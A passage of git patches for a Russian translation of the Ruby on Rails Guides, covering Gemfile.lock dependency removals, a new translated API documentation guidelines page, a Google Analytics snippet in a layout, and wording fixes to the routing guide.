2.0) @@ -81,7 +80,6 @@ GEM mime-types (~> 1.16) treetop (~> 1.4.8) method_source (0.8.2) - middleware (0.1.0) mime-types (1.25.1) mini_portile (0.6.0) minitest (5.4.0) @@ -129,7 +127,6 @@ GEM rake (10.3.2) redcarpet (3.1.2) ref (1.0.5) - riddle (1.5.7) rspec-core (3.0.4) rspec-support (~> 3.0.0) rspec-expectations (3.0.4) @@ -170,12 +167,6 @@ GEM therubyracer (0.12.1) libv8 (~> 3.16.14.0) ref - thinking-sphinx (3.0.4) - activerecord (>= 3.1.0) - builder (>= 2.1.2) - innertube (>= 1.0.2) - middleware (>= 0.1.0) - riddle (>= 1.5.7) thor (0.19.1) thread_safe (0.3.4) tilt (1.4.1) @@ -227,7 +218,6 @@ DEPENDENCIES static_docs textacular (~> 3.0) therubyracer - thinking-sphinx twitter-bootstrap-rails uglifier (>= 1.3.0) unicorn From 911091004821af6722342c742dcb6948f462f121 Mon Sep 17 00:00:00 2001 From: Damir Konkov Date: Sat, 4 Jul 2015 22:52:43 +0300 Subject: [PATCH 050/932] public/index.html can not be created --- source/getting_started.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/getting_started.md b/source/getting_started.md index d5ed27b4..ca3f7ff8 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -189,7 +189,7 @@ create app/assets/stylesheets/welcome.css.scss Теперь, когда мы сделали контроллер и вьюху, нужно сказать Rails, что мы хотим увидеть "Hello Rails!". В нашем случае мы хотим это увидеть, когда зайдем в корневой URL нашего сайта, . Однако сейчас это место заняла тестовая страница "Welcome Aboard". -Чтобы это исправить, удалите файл `index.html`, расположенный в директории `public` приложения. +Чтобы это исправить, удалите файл `index.html`, расположенный в директории `public` приложения, если таковой имеется. Так нужно сделать, так как Rails отдаст любой статичный файл из директории `public`, соответствующий маршруту, предпочтя его любому динамическому содержимому, создаваемому из контроллеров. Файл `index.html` особенный: он будет отдан, если запрос придет в корневой маршрут, т.е. http://localhost:3000. Если произойдет другой запрос, такой как http://localhost:3000/welcome, будет отдан файл `public/welcome.html`, но только если он существует. From d8e4adf8eeb6df81cb9bb61b364b8389255602ec Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 5 Jul 2015 11:56:14 +0300 Subject: [PATCH 051/932] api guidelines --- source/api_documentation_guidelines.md | 336 ++++++++++++++++++++++++ source/contributing_to_ruby_on_rails.md | 4 +- source/index.md | 2 + source/index.yml | 8 +- source/menu.md | 1 + 5 files changed, 347 insertions(+), 4 deletions(-) create mode 100644 source/api_documentation_guidelines.md diff --git a/source/api_documentation_guidelines.md b/source/api_documentation_guidelines.md new file mode 100644 index 00000000..b834ba37 --- /dev/null +++ b/source/api_documentation_guidelines.md @@ -0,0 +1,336 @@ +Рекомендации по документированию API +=================================== + +Это руководство документирует рекомендации к документации Ruby on Rails API. + +После его прочтения, вы узнаете: + +* Как писать эффективную прозу для целей документирования. +* Стилистические рекомендации для документирования различного кода на Ruby. + +-------------------------------------------------------------------------------- + +RDoc +---- + +[Документация Rails API](http://api.rubyonrails.org) генерируется с помощью [RDoc](http://docs.seattlerb.org/rdoc/). Чтобы ее сгенерировать, убедитесь, что вы в корневой директории rails, запустите `bundle install` и выполните: + +```bash + bundle exec rake rdoc +``` + +Итоговые файлы HTML будут в директории ./doc/rdoc. + +Обратитесь к документации RDoc за помощью с [разметкой](http://docs.seattlerb.org/rdoc/RDoc/Markup.html), а также примите во внимание эти [дополнительные директивы](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html). + +Формулировки +------------ + +Пишите простые, декларативные предложения. Краткость — сестра таланта. + +Пишите в настоящем времени: "Returns a hash that...", а не "Returned a hash that...", или "Will return a hash that...". + +Начинайте комментарии с большой буквы. Следуйте обычным правилам пунктуации: + +```ruby +# Declares an attribute reader backed by an internally-named +# instance variable. +def attr_internal_reader(*attrs) + ... +end +``` + +Доносите до читателя правильный способ делать вещи, явно или неявно. Используйте идиомы, рекомендованные в последней версии. По необходимости перегруппируйте разделы, чтобы подчеркнуть предпочтительные подходы, и так далее. Документация должна быть моделью для лучшей практики и канонического, современного использования Rails. + +Документация должна быть краткой, но всеобъемлющей. Исследуйте и документируйте крайние случаи. Что произойдет, если модуль анонимный? А что, если коллекция пустая? А если аргумент nil? + +Правильные имена компонентов Rails имеют пробел между словами, например "Active Support". `ActiveRecord` это модуль на Ruby, в то время как Active Record — это ORM. Вся документация Rails должна последовательно ссылаться на компоненты Rails правильными именами, и, если в следующей публикации в блоге или презентации вы вспомните это правило и примете его в внимание, это будет феноменально. + +Пишите имена правильно: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Когда сомневаетесь, взгляните на какой-нибудь авторитетный источник, например, на их официальную документацию. + +Используйте артикль "an" для "SQL", как в "an SQL statement". А также "an SQLite database". + +Предпочитайте формулировки, избегающие использование "you" и "your". Например, вместо + +```markdown +If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. +``` + +используйте такую стилистику: + +```markdown +If `return` is needed it is recommended to explicitly define a method. +``` + +Тем не менее, при использовании местоимений для ссылки на гипотетическую личность, такую как "a user with a session cookie", должны быть использованы гендерно нейтральные местоимения (they/their/them). Вместо: + +* he или she... используйте they. +* him или her... используйте them. +* his или her... используйте their. +* his или hers... используйте theirs. +* himself или herself... используйте themselves. + +Английский язык +--------------- + +Пожалуйста, используйте американский английский (*color*, *center*, *modularize* и т.д.). Обратитесь к [списку различий в написании американских и британских английских слов](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). + +Пример кода +----------- + +Выбирайте осмысленные примеры, отображающие и покрывающие как основы, так и интересные моменты или подводные камни. + +Используйте два пробела для отступа кусков кода — это означает, для целей разметки, два пробела с учетом левого отступа. Сами примеры должны следовать [соглашениям по программированию Rails](/contributing_to_ruby_on_rails#follow-the-coding-conventions). + +Короткие документы не нуждаются в явной метке "Examples" для представления примеров кода; они идут следующим параграфом: + +```ruby +# Converts a collection of elements into a formatted string by +# calling +to_s+ on all elements and joining them. +# +# Blog.all.to_formatted_s # => "First PostSecond PostThird Post" +``` + +С другой стороны, большие куски структурированной документации могут иметь отдельный раздел "Examples": + +```ruby +# ==== Examples +# +# Person.exists?(5) +# Person.exists?('5') +# Person.exists?(name: "David") +# Person.exists?(['name LIKE ?', "%#{query}%"]) +``` + +Результаты выражений следуют за ними и представляются с помощью "# => ", выравненными по вертикали: + +```ruby +# For checking if a fixnum is even or odd. +# +# 1.even? # => false +# 1.odd? # => true +# 2.even? # => true +# 2.odd? # => false +``` + +Если строчка слишком длинная, комментарий может быть помещен в следующей строчке: + +```ruby +# label(:article, :title) +# # => +# +# label(:article, :title, "A short title") +# # => +# +# label(:article, :title, "A short title", class: "title_label") +# # => +``` + +Избегайте использования любых выводящих методов, таких как `puts` или `p`, для этой цели. + +С другой стороны, обычные комментарии не используют стрелку: + +```ruby +# polymorphic_url(http://github.com/record) # same as comment_url(http://github.com/record) +``` + +Булевы значения +--------------- + +В предикатных методах и флажках предпочитайте документировать булеву семантику над остальными значениями. + +Когда "true" или "false" используются так, как определены в Ruby, используйте обычный шрифт. Синглтонам `true` и `false` необходим моноширинный шрифт. Пожалуйста, избегайте терминов, таких как "truthy", Ruby определяет, что такое true и false в языке, и поэтому эти слова имеют техническое значение и не нуждаются в замене. + +Как правило, не документируйте синглтоны, кроме случая, когда это абсолютно необходимо. Это предотвращает искусственные конструкции, наподобие `!!` или тернарого оператора, озволяет рефакторинг, и коду не нужно полагаться на точные значения, возвращаемыми в этой реализации. + +Например, в: + +```markdown +`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default +``` + +пользователю не нужно знать, какое действительное значение по умолчанию у этого флажка, поэтому мы документируем только его булеву семантику. + +Пример с предикатом: + +```ruby +# Returns true if the collection is empty. +# +# If the collection has been loaded +# it is equivalent to collection.size.zero?. If the +# collection has not been loaded, it is equivalent to +# collection.exists?. If the collection has not already been +# loaded and you are going to fetch the records anyway it is better to +# check collection.length.zero?. +def empty? + if loaded? + size.zero? + else + @target.blank? && !scope.exists? + end +end +``` + +API осторожен, чтобы не обещать какое-либо конкретное значение, у метода есть предикатная семантика, этого достаточно. + +Имена файлов +------------ + +Как правило, используйте имена файлов относительно корня приложения: + +``` +config/routes.rb # ДА +routes.rb # НЕТ +RAILS_ROOT/config/routes.rb # НЕТ +``` + +Шрифты +------ + +### Моноширинный шрифт + +Используйте моноширинные шрифты для: + +* Констант, в частности имен классов и модулей. +* Имен методов. +* Литералов, таких как `nil`, `false`, `true`, `self`. +* Символов. +* Параметров методов. +* Имен файлов. + +```ruby +class Array + # Calls +to_param+ on all its elements and joins the result with + # slashes. This is used by +url_for+ in Action Pack. + def to_param + collect { |e| e.to_param }.join '/' + end +end +``` + +WARNING: Использование `+...+` для моноширинного шрифта работает только с простым содержимым, таким как обычные имена методов, символы, пути (с обратными слэшами) и так далее. Для всего остального используйте `...`, особенно для имен классов или модулей в пространстве имен, как в `ActiveRecord::Base`. + +Можно быстро протестировать результат RDoc с помощью следующей команды: + +``` +$ echo "+:to_param+" | rdoc --pipe +#=>

:to_param

+``` + +### Обычный шрифт + +Когда "true" и "false" это английские слова, в отличие от ключевых слов Ruby, используйте обычный шрифт: + +```ruby +# Runs all the validations within the specified context. +# Returns true if no errors are found, false otherwise. +# +# If the argument is false (default is +nil+), the context is +# set to :create if new_record? is true, +# and to :update if it is not. +# +# Validations with no :on option will run no +# matter the context. Validations with # some :on +# option will only run in the specified context. +def valid?(context = nil) + ... +end +``` + +Описательные списки +------------------- + +В списках опций, параметров и т.д. используйте дефис между элементом и его описанием (читается лучше, чем двоеточие, так как опции обычно символы): + +```ruby +# * :allow_nil - Skip validation if attribute is +nil+. +``` + +Описание начинается с заглавной буквы и заканчивается точкой — это стандартный английский. + +Динамически создаваемые методы +------------------------------ + +Методы, созданые с помощью `(module|class)_eval(STRING)`, имеют справа комментарий с экземпляром сгенерированного кода. Этот комментарий отделен двумя пробелами от шаблона: + +```ruby +for severity in Severity.constants + class_eval <<-EOT, __FILE__, __LINE__ + def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block) + add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block) + end # end + # + def #{severity.downcase}? # def debug? + #{severity} >= @level # DEBUG >= @level + end # end + EOT +end +``` + +Если результирующие строчки получаются слишком длинными, скажем 200 символов и больше, поместите комментарий над вызовом: + +```ruby +# def self.find_by_login_and_activated(*args) +# options = args.extract_options! +# ... +# end +self.class_eval %{ + def self.#{method_id}(*args) + options = args.extract_options! + ... + end +} +``` + +Видимость методов +----------------- + +При написании документации для Rails, важно понимать различие между публичным пользовательским API и внутренним API. + +Rails, как и многие библиотеки, использует ключевое слово private из Ruby для определения внутреннего API. Однако, публичный API следует немного отличающимся соглашениям. Вместо предположения, что все публичные методы разработаны для пользователя, Rails использует директиву `:nodoc:` для аннотирования таких методов как внутреннего API. + +Это означает, что в Rails имеются методы с видимостью `public`, не предназначенные для пользователя. + +Примером этого является `ActiveRecord::Core::ClassMethods#arel_table`: + +```ruby +module ActiveRecord::Core::ClassMethods + def arel_table #:nodoc: + # do some magic.. + end +end +``` + +Если вы подумаете: "этот метод выглядит публичным методом класса для `ActiveRecord::Core`", то будете правы. Но фактически, основная команда Rails teamне хочет, чтобы пользователи полагались на этот метод. Поэтому они пометили его как `:nodoc:`, и он убран из публичной документации. Обоснованием этого явлеется необходимость позволить команде изменить эти методы в соответствии с их внутренними потребностями между релизами, по их усмотрению. Может измениться имя этого метода, или возвращаемое значение, или может исчезнуть весь этот класс; нет гарантии, и поэтому вы не должны зависеть от этого API в ваших плагинах или приложениях. В противном случае, вы рискуете, что ваше приложение или гем сломаются при обновлении на новый релиз Rails. + +В качестве контрибутора важно думать, предназначен ли этот API для конечного пользователя. Команда Rails стремится не вносить какие-либо критические изменения в публичный API между релизами без прохождения полного цикла устаревания. Рекомендуется, чтобы вы помечали `:nodoc:` любые ваши внутренние методы/классы, за исключением тех, которые уже приватные (имеется в виду видимость), в этом случае они внутренние по умолчанию. Как только API стабилизируется, видимость может измениться, но изменение публичного API намного сложнее из-за обратной совместимости. + +Классы или модули, помеченные `:nodoc:`, показывают, что все методы являются внутренним API, и никогда не должны использоваться непосредственно. + +Если вы столкнулись с существующим `:nodoc:`, следует действовать осторожно. Попробуйте сросить кого-либо из основной команды или автора кода, до того, как уберете его. Это должно всегда происходить через пул-реквест, а не в проекте docrails. + +Никогда не добавляйте `:nodoc:` только потому, что у метода или класса отсутствует документация. Могут быть экземпляры, где внутреннему публичному методу не дан `:nodoc:` по ошибке, например при переключении видимости метода с private на public. Когда это происходит, следует обсуждать каждый случай в пул-реквесте, и никогда не отправлять изменения непосредственно в docrails. + +Итак, команда Rails использует `:nodoc:`, чтобы пометить публично видимые методы и классы для внутренного использования; изменения видимости в API должны сначала тщательно рассматриваться и обсуждаеться в пул-реквесте. + +Относительно стека Rails +------------------------ + +При документировании частей Rails API важно помнить все кусочки, составляющие стек Rails. + +Это означает, что поведение может измениться в зависимости от области видимости или контекста метода или класса, который вы пытаетесь документировать. + +В различных местах имеется различное поведение, если принимать во внимание полный стек, одним из примеров является `ActionView::Helpers::AssetTagHelper#image_tag`: + +```ruby +# image_tag("icon.png") +# # => Icon +``` + +Хотя поведением по умолчанию для `#image_tag` является всегда возвращать `/images/icon.png`, учитывая полный стек Rails (включая Asset Pipeline), мы можем увидеть вышеуказанный результат. + +Мы беспокоимся только о поведении при использовании полного стека Rails по умолчанию. + +В этом случае мы хотим документировать поведение этого _фреймворка_, а не просто этого отдельного метода. + +Если у вас есть вопрос, как команда Rails управляет определенными API, не стесняйтесь открыть тикет или послать патч в [трекер проблем](https://github.com/rails/rails/issues). diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index c7456107..9d15fd4b 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -106,7 +106,7 @@ Docrails регулярно сливается с master, таким образ Если вы неуверены в изменениях документации, можете создать проблему в трекере [Rails](https://github.com/rails/rails/issues) на GitHub. -При работе с документацией принимайте во внимание [TODO: руководство по документации API](/api_documentation_guidelines) и [TODO: руководство по руководствам по Ruby on Rails](/ruby_on_rails_guides_guidelines). +При работе с документацией принимайте во внимание [рекомендации по документированию API](/api_documentation_guidelines) и [TODO: руководство по руководствам по Ruby on Rails](/ruby_on_rails_guides_guidelines). NOTE: Как объяснялось ранее, обычные исправления кода должны сопровождаться соответствующим покрытием документацией. Docrails используется только для изолированного улучшения документации. @@ -176,7 +176,7 @@ $ bundle exec rails new ~/my-test-app --dev TIP: Изменения, которые по природе косметические, и не добавляют ничего ощутимого в стаблильность, функциональность или тестируемость Rails, обычно не принимаются (читайте подробнее об [обоснованиях этого решения](https://github.com/rails/rails/pull/13771#issuecomment-32746700)). -#### Следуйте соглашениям по программированию +#### (follow-the-coding-conventions) Следуйте соглашениям по программированию Rails следует простому набору соглашений о стиле кода: diff --git a/source/index.md b/source/index.md index 126bcdd0..b3a46231 100644 --- a/source/index.md +++ b/source/index.md @@ -70,6 +70,8 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) := Rails — это не 'чей-то там фреймворк'. Это руководство раскрывает многообразие способов, которыми вы можете быть вовлечены в продолжающуюся разработку Rails. +- [Рекомендации по документированию API](/api_documentation_guidelines) := Это руководство документирует рекомендации для документации Ruby on Rails. + ## Заметки о релизах - [Руководство по обновлению Ruby on Rails](/upgrading-ruby-on-rails) := Это руководство поможет обновить приложения на последние версии Ruby on Rails. diff --git a/source/index.yml b/source/index.yml index 1816caef..2b1ed2b9 100644 --- a/source/index.yml +++ b/source/index.yml @@ -206,6 +206,12 @@ pages: revision: 2e1d69ea97fb0123cf883bd0964b8be6d4906458 date: 11/04/2015 + - title: Рекомендации по документированию API + path: api_documentation_guidelines + file: api_documentation_guidelines.md + revision: 86b6c773378383c902c24b5b5917177bde4e8d62 + date: 28/04/2015 + - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md @@ -255,8 +261,6 @@ images: plan: - file: active_record_postgresql.md - file: api_app.md - - file: api_documentation_guidelines.md - todo: 1 - file: development_dependencies_install.md todo: 3 - file: maintenance_policy.md diff --git a/source/menu.md b/source/menu.md index b8a3e33d..bdf1de45 100644 --- a/source/menu.md +++ b/source/menu.md @@ -56,6 +56,7 @@ next_column * **Вносим вклад в Ruby on Rails** * [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) + * [Рекомендации по документированию API](/api_documentation_guidelines) * **Заметки о релизах** From 0e4fb7513543559617ba989d48b89da09fd161fc Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 5 Jul 2015 12:01:23 +0300 Subject: [PATCH 052/932] fix for main page --- source/index.md | 1 - 1 file changed, 1 deletion(-) diff --git a/source/index.md b/source/index.md index b3a46231..ed42d2a3 100644 --- a/source/index.md +++ b/source/index.md @@ -69,7 +69,6 @@ Ruby on Rails — это веб-фреймворк с открытым кодо ## Вносим вклад в Ruby on Rails - [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) := Rails — это не 'чей-то там фреймворк'. Это руководство раскрывает многообразие способов, которыми вы можете быть вовлечены в продолжающуюся разработку Rails. - - [Рекомендации по документированию API](/api_documentation_guidelines) := Это руководство документирует рекомендации для документации Ruby on Rails. ## Заметки о релизах From 5c163c45b5181bafaeceac5ebe3d3073bd7f8bca Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Thu, 9 Jul 2015 12:29:44 +0300 Subject: [PATCH 053/932] ga script --- app/views/layouts/_counter.html.haml | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/app/views/layouts/_counter.html.haml b/app/views/layouts/_counter.html.haml index 12195815..988fab50 100644 --- a/app/views/layouts/_counter.html.haml +++ b/app/views/layouts/_counter.html.haml @@ -26,3 +26,13 @@ %noscript %div= image_tag "//mc.yandex.ru/watch/1006929", style: "position:absolute; left:-9999px;", alt: '' / /Yandex.Metrika counter + + +:javascript + (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ + (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), + m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) + })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); + + ga('create', 'UA-64955373-1', 'auto'); + ga('send', 'pageview'); From 929a8176207ca34e18be483a1c35aa20eeed355d Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Fri, 10 Jul 2015 22:57:52 +0300 Subject: [PATCH 054/932] Update routing --- source/index.yml | 4 ++-- source/routing.md | 40 ++++++++++++++++++++++++++-------------- 2 files changed, 28 insertions(+), 16 deletions(-) diff --git a/source/index.yml b/source/index.yml index 2b1ed2b9..cfd42844 100644 --- a/source/index.yml +++ b/source/index.yml @@ -83,8 +83,8 @@ pages: - title: Роутинг в Rails path: rails-routing file: routing.md - revision: b8fbcc0787dde662049794ea4555c8aa52847843 - date: 04/09/2014 + revision: 27eccc27cbe987be04bb97b49aff1d7fd118634c + date: 07/06/2015 - title: Расширения ядра Active Support path: active-support-core-extensions diff --git a/source/routing.md b/source/routing.md index 02ea4b79..82a7b670 100644 --- a/source/routing.md +++ b/source/routing.md @@ -3,7 +3,7 @@ Это руководство охватывает открытые для пользователя функции роутинга Rails. -После прочтения этого руководства, вы узнаете: +После прочтения этого руководства вы узнаете: * Как интерпретировать код в `routes.rb` * Как создавать свои собственные маршруты, используя или предпочитаемый ресурсный стиль, или метод `match` @@ -14,7 +14,7 @@ Цель роутера Rails ------------------ -Роутер Rails распознает URL и соединяет их с экшном контроллера. Он также создает пути и URL, избегая необходимость писать тяжелый код в ваших вьюхах. +Роутер Rails распознает URL и соединяет их с экшном контроллера. Он также создает пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. ### Соединение URL с кодом @@ -46,7 +46,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient' @patient = Patient.find(17) ``` -и это в соответствующей вьюхе: +и такой в соответствующей вьюхе: ```erb <%= link_to 'Patient Record', patient_path(@patient) %> @@ -57,7 +57,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient' Ресурсный роутинг ----------------- -Ресурсный роутинг позволяет быстро объявлять все обычные маршруты для заданного ресурсного контроллера. Вместо объявления отдельных маршрутов для экшнов `index`, `show`, `new`, `edit`, `create`, `update` и `destroy`, ресурсный маршрут объявляет их в единственной строке кода. +Ресурсный роутинг позволяет быстро объявлять все обычные маршруты для заданного ресурсного контроллера. Вместо объявления отдельных маршрутов для экшнов `index`, `show`, `new`, `edit`, `create`, `update` и `destroy`, ресурсный маршрут объявляет их одной строкой кода. ### Ресурсы в вебе @@ -99,7 +99,7 @@ resources :photos NOTE: Поскольку роутер использует как метод HTTP, так и URL, для сопоставления с входящими запросами, четыре URL соединяют с семью различными экшнами. -NOTE: Маршруты Rails сравниваются в том порядке, в котором они определены, поэтому, если имеется `resources :photos` до `get 'photos/poll'` маршрут для экшна `show` в строке `resources` совпадет до строки `get`. Чтобы это исправить, переместите строку `get` **над** строкой `resources`, чтобы она сравнивалась первой. +NOTE: Маршруты Rails сравниваются в том порядке, в котором они определены, поэтому, если имеется `resources :photos` до `get 'photos/poll'` маршрут для экшна `show` в строке `resources` совпадет до строки `get`. Чтобы это исправить, переместите строку `get` **выше** строки `resources`, чтобы она сравнивалась первой. ### Путь и хелперы URL @@ -222,7 +222,7 @@ end или для отдельного случая: ```ruby -resources :posts, path: '/admin/articles' +resources :articles, path: '/admin/articles' ``` В каждом из этих случаев, именнованные маршруты остаются теми же, что и без использования `scope`. В последнем случае, следующие пути соединят с `ArticlesController`: @@ -253,7 +253,7 @@ class Ad < ActiveRecord::Base end ``` -Вложенные маршруты позволяют перехватить эти отношения в вашем роутинге. В этом случае можете включить такое объявление маршрута: +Вложенные маршруты позволяют захватить эти отношения в вашем роутинге. В этом случае можете включить такое объявление маршрута: ```ruby resources :magazines do @@ -483,7 +483,7 @@ resources :photos do end ``` -Это распознает `/photos/1/preview` с GET, и направит его в экшн `preview` `PhotosController`, со значением id ресурса, переданным в `params[:id]`. Это также создаст хелперы `preview_photo_url` и `preview_photo_path`. +Это распознает `/photos/1/preview` с GET, и направит в экшн `preview` контроллера `PhotosController`, со значением id ресурса, переданным в `params[:id]`. Это также создаст хелперы `preview_photo_url` и `preview_photo_path`. В блоке маршрутов к элементу каждое имя маршрута определяет метод HTTP, с которым он будет распознан. Тут можно использовать `get`, `patch`, `put`, `post` или `delete`. @@ -509,7 +509,7 @@ resources :photos do end ``` -Это позволит Rails распознать URL, такие как `/photos/search` с GET и направить его в экшн `search` `PhotosController`. Это также создаст маршрутные хелперы `search_photos_url` и `search_photos_path`. +Это позволит Rails распознать пути, такие как `/photos/search` с GET и направить в экшн `search` контроллера `PhotosController`. Это также создаст маршрутные хелперы `search_photos_url` и `search_photos_path`. Как и с маршрутами к элементу, можно передать `:on` к маршруту: @@ -521,7 +521,7 @@ end #### Добавление маршрутов для дополнительных экшнов New -Чтобы добавить альтернативный экшн new, используя сокращенный вариант `:on`: +Чтобы добавить альтернативный экшн new, используйте сокращенный вариант `:on`: ```ruby resources :comments do @@ -642,7 +642,7 @@ match 'photos', to: 'photos#show', via: :all NOTE: Маршрутизация запросов `GET` и `POST` одновременно в один экшн небезопасна. В основном, следует избегать маршрутизацию всех методов в экшн, если у вас нет веской причины делать так. -NOTE: 'GET' в Rails не проверяет токен CSRF. Никогда не пишите в базу данных в 'GET' запросах, подробнее о контрмерах CSRF смотрите в [руководстве по безопасности](/ruby-on-rails-security-guide#csrf-countermeasures). +NOTE: `GET` в Rails не проверяет токен CSRF. Никогда не пишите в базу данных в `GET` запросах, подробнее о контрмерах CSRF смотрите в [руководстве по безопасности](/ruby-on-rails-security-guide#csrf-countermeasures). ### Ограничения сегмента @@ -802,6 +802,18 @@ match '/application.js', to: Sprockets, via: :all NOTE: Для любопытства, `'articles#index'` фактически расширяется до `ArticlesController.action(:index)`, который возвращает валидное приложение Rack. +Если вы указываете rack приложение как конечную точку совпадения, помните что маршрут будет неизменным в принимающем приложении. Со следующим маршрутом ваше rack приложение будет ожидать маршрут '/admin': + +```ruby +match '/admin', to: AdminApp, via: :all +``` + +Если вы предпочитаете чтобы ваше rack приложение получало запросы на корневой путь, используйте вместо этого `mount`: + +```ruby +mount AdminApp, at: '/admin' +``` + ### Использование `root` Можно определить, с чем Rails должен связать `'/'` с помощью метода `root`: @@ -901,7 +913,7 @@ TIP: По умолчанию параметр `:id` не принимает то resources :photos, as: 'images' ``` -распознает входящие пути, начинающиеся с `/photos` и смаршрутизирует запросы к `PhotosController`: +распознает входящие пути, начинающиеся с `/photos` и смаршрутизирует запросы к `PhotosController`, но использует значение опции `:as` для наименования хелпера: | Метод HTTP | Путь | Контроллер#Экшн | Именнованный хелпер | | --------- | ---------------- | ----------------- | -------------------- | @@ -998,7 +1010,7 @@ TIP: Если в вашем приложении много маршрутов R ### Переведенные пути -Используя `scope`, можно изменить имена путей, создаваемых ресурсами: +Используя `scope`, можно изменить имена путей, создаваемых с помощью `recources`: ```ruby scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do @@ -1095,7 +1107,7 @@ TIP: Результат команды `rake routes` более читаемый ### Тестирование маршрутов -Маршруты должны быть включены в вашу стратегию тестирования (так же, как и остальное в вашем приложении). Rails предлагает три "встроенных оператора контроля":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html, разработанных для того, чтобы сделать тестирование маршрутов проще: +Маршруты должны быть включены в вашу стратегию тестирования (так же, как и остальное в вашем приложении). Rails предлагает три [встроенных оператора контроля](http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html), разработанных для того, чтобы сделать тестирование маршрутов проще: * `assert_generates` * `assert_recognizes` From 49424193430b0d92b1b43b53b245c2ef98a30f35 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 12 Jul 2015 10:15:16 +0300 Subject: [PATCH 055/932] guides guidelines --- source/api_documentation_guidelines.md | 22 ++-- source/contributing_to_ruby_on_rails.md | 2 +- source/index.md | 1 + source/index.yml | 8 +- source/menu.md | 3 +- source/ruby_on_rails_guides_guidelines.md | 129 ++++++++++++++++++++++ 6 files changed, 150 insertions(+), 15 deletions(-) create mode 100644 source/ruby_on_rails_guides_guidelines.md diff --git a/source/api_documentation_guidelines.md b/source/api_documentation_guidelines.md index b834ba37..9f8f8b93 100644 --- a/source/api_documentation_guidelines.md +++ b/source/api_documentation_guidelines.md @@ -1,5 +1,5 @@ Рекомендации по документированию API -=================================== +==================================== Это руководство документирует рекомендации к документации Ruby on Rails API. @@ -23,8 +23,8 @@ RDoc Обратитесь к документации RDoc за помощью с [разметкой](http://docs.seattlerb.org/rdoc/RDoc/Markup.html), а также примите во внимание эти [дополнительные директивы](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html). -Формулировки ------------- +(wording) Формулировки +---------------------- Пишите простые, декларативные предложения. Краткость — сестра таланта. @@ -70,13 +70,13 @@ If `return` is needed it is recommended to explicitly define a method. * his или hers... используйте theirs. * himself или herself... используйте themselves. -Английский язык ---------------- +(english) Английский язык +------------------------- Пожалуйста, используйте американский английский (*color*, *center*, *modularize* и т.д.). Обратитесь к [списку различий в написании американских и британских английских слов](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). -Пример кода ------------ +(example-code) Пример кода +-------------------------- Выбирайте осмысленные примеры, отображающие и покрывающие как основы, так и интересные моменты или подводные камни. @@ -173,8 +173,8 @@ end API осторожен, чтобы не обещать какое-либо конкретное значение, у метода есть предикатная семантика, этого достаточно. -Имена файлов ------------- +(file-names) Имена файлов +------------------------- Как правило, используйте имена файлов относительно корня приложения: @@ -184,8 +184,8 @@ routes.rb # НЕТ RAILS_ROOT/config/routes.rb # НЕТ ``` -Шрифты ------- +(fonts) Шрифты +-------------- ### Моноширинный шрифт diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 9d15fd4b..c76f1ec7 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -106,7 +106,7 @@ Docrails регулярно сливается с master, таким образ Если вы неуверены в изменениях документации, можете создать проблему в трекере [Rails](https://github.com/rails/rails/issues) на GitHub. -При работе с документацией принимайте во внимание [рекомендации по документированию API](/api_documentation_guidelines) и [TODO: руководство по руководствам по Ruby on Rails](/ruby_on_rails_guides_guidelines). +При работе с документацией принимайте во внимание [рекомендации по документированию API](/api_documentation_guidelines) и [рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines). NOTE: Как объяснялось ранее, обычные исправления кода должны сопровождаться соответствующим покрытием документацией. Docrails используется только для изолированного улучшения документации. diff --git a/source/index.md b/source/index.md index ed42d2a3..e74b2b93 100644 --- a/source/index.md +++ b/source/index.md @@ -70,6 +70,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) := Rails — это не 'чей-то там фреймворк'. Это руководство раскрывает многообразие способов, которыми вы можете быть вовлечены в продолжающуюся разработку Rails. - [Рекомендации по документированию API](/api_documentation_guidelines) := Это руководство документирует рекомендации для документации Ruby on Rails. +- [Рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines) := Это руководство документирует рекомендации для руководств по Ruby on Rails. ## Заметки о релизах diff --git a/source/index.yml b/source/index.yml index cfd42844..90341d49 100644 